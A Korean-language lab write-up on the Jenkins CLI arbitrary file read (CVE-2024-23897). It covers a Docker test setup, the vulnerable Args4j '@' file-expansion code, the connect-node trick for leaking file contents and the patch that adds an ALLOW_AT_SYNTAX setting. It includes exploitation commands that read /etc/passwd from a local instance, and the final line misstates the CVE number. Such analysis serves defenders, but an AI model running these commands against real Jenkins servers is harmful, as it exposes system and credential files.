
[CVE-2024-23897] Jenkins CI CLI를 통한 인증된 임의 파일 읽기로 인한 원격 코드 실행(RCE)
Jenkins는 Java 프로그래밍 언어로 작성된 자체 포함 오픈 소스 CI/CD(지속적 통합/지속적 전달 및 배포) 자동화 소프트웨어 DevOps 도구입니다. 파이프라인이라고 하는 CI/CD 워크플로를 구현하는 데 사용됩니다.
Jenkins에는 스크립트 또는 셸 환경에서 Jenkins에 접근할 수 있는 내장 CLI(명령줄 인터페이스)가 있습니다. Jenkins는 CLI 명령을 처리할 때 Jenkins 컨트롤러에서 명령 인수와 옵션을 구문 분석하기 위해 Args4j 라이브러리를 사용합니다. 이 명령 파서에는 인수에서 @ 문자 뒤에 오는 파일 경로를 파일 내용으로 대체하는 기능(expandAtFiles)이 있습니다. 이 기능은 기본적으로 활성화되어 있으며 Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 이전 버전에서는 이를 비활성화하지 않습니다.
이로 인해 공격자는 Jenkins 컨트롤러 프로세스의 기본 문자 인코딩을 사용하여 Jenkins 컨트롤러 파일 시스템의 임의 파일을 읽을 수 있습니다.
환경 설정
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

취약한 코드
이 취약점은 SonarSource의 취약점 연구 팀이 발견했으며 이 섹션은 SonarSource의 기술 블로그 게시물에서 발췌한 것입니다.
취약한 코드는 Args4j 라이브러리에서 찾을 수 있습니다.
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
CmdLineParser.java 클래스의 expandAtFiles 메서드는 기본적으로 인수의 @ 문자 뒤에 오는 파일 경로를 파일 내용으로 대체합니다. 인수가 @ 문자로 시작하는지 확인하고, 그렇다면 @ 뒤의 경로에 있는 파일을 읽고 각 줄에 대해 새 인수를 확장합니다. 즉, 공격자가 인수를 제어할 수 있다면 Jenkins 인스턴스의 임의 파일에서 나온 내용으로 임의 개수의 인수로 확장할 수 있습니다.
공격자가 이를 활용할 수 있는 한 가지 방법은 임의 개수의 인수를 받아 이를 사용자에게 다시 표시하는 명령을 찾는 것입니다. 인수가 파일 내용으로 채워지므로 공격자는 이 방식으로 파일 내용을 유출할 수 있습니다. 이를 위해 hudson/cli의 connect-node 명령이 좋은 후보입니다. 이 명령은 인수로 문자열 목록을 받아 각각에 연결을 시도합니다. 실패하면 연결에 실패한 노드 이름으로 오류 메시지가 생성됩니다.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
이 connect-node 명령은 일반적으로 cliConnect 함수에서 확인되는 CONNECT 권한을 요구합니다. 그러나 resolveForCLI 함수에서 권한 확인 전에 예외가 발생하므로, 이 명령은 초기 읽기 전용 확인 외에는 어떤 권한도 요구하지 않습니다.
악용 단계
일반적으로 Jenkins-cli에서 @는 파일에서 Bearer 토큰 또는 username:password를 지정하는 데 사용됩니다.
Jenkins-cli로 인증된 명령을 사용하면 다음과 같은 출력이 생성됩니다.
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

@ 문자 기능을 사용하여 -auth 스위치에서 credentials.txt 파일을 지정하면 다음과 같은 결과가 생성됩니다.
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

패치 분석
Jenkins 보안 팀은 expandAtFiles 기능을 비활성화하는 보안 구성을 도입하여 CVE-2024-23897을 해결했습니다. 패치에는 CVE-2024-23898에 대한 WebSocket 엔드포인트에 출처 검증을 추가하여 무단 접근을 방지하는 내용이 포함되어 있습니다.
관련 커밋: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: 이 변수는 '@' 구문 허용 여부를 나타내는 boolean입니다. 시스템 속성에서 읽습니다.ParserProperties: 이 클래스는 CmdLineParser를 구성하기 위한 속성을 제공합니다.withAtSyntax(ALLOW_AT_SYNTAX): ALLOW_AT_SYNTAX 값을 기반으로 ParserProperties의 'allowAtSyntax' 속성을 설정합니다.new CmdLineParser(this, properties): 현재 객체(this)와 구성된 ParserProperties를 전달하여 새 CmdLineParser 인스턴스를 생성합니다.CVE-2024-34897 취약점에 대한 자세한 정보와 크레딧은 다음과 같습니다.